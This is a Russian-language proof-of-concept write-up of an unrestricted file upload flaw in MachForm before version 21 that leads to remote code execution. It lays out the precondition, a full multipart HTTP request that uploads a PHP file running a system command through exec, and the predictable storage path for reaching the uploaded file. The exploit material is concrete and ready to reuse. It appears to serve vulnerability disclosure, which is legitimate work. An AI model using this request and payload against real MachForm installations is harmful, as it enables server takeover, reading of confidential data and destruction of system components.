
Эксплойт proof-of-concept для аутентифицированной неограниченной загрузки файлов, приводящей к удалённому выполнению кода в MachForm до версии 21, с подробными примерами запросов и шагами эксплуатации.
MachForm до версии 21 подвержен аутентифицированной неограниченной загрузке файлов, что приводит к удаленному выполнению кода.
Приложение предоставляет возможность создания формы с функцией загрузки файлов. Хотя по умолчанию принимаемые файлы ограничены общим безопасным набором, создатель формы также может указать дополнительные разрешенные форматы.
Если пользователь с правами на создание формы создает форму с функцией загрузки файлов, где разрешен формат “PHP”, любой неаутентифицированный пользователь может использовать эту форму для получения удаленного выполнения кода.
Для эксплуатации этой уязвимости требуется форма с включенной функцией загрузки файлов, в белом списке расширений которой указаны “PHP”.

Как только это предварительное условие выполнено, любой неаутентифицированный пользователь может перейти к форме, чтобы использовать уязвимость загрузки файлов.
Файлы, загруженные в форму, которые еще не были отправлены в форме, загружаются на веб-сервер в заранее определенную директорию с расширением .tmp.

Запрос:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
Полный путь к загруженному файлу можно получить из запроса на загрузку, который содержит все необходимые поля:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
В этом сценарии URL загруженного файла будет следующим:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

После получения удаленного выполнения кода становится возможным работать непосредственно на целевом сервере, что позволит получить доступ за пределами приложения и читать конфиденциальную информацию или изменять/удалять основные компоненты.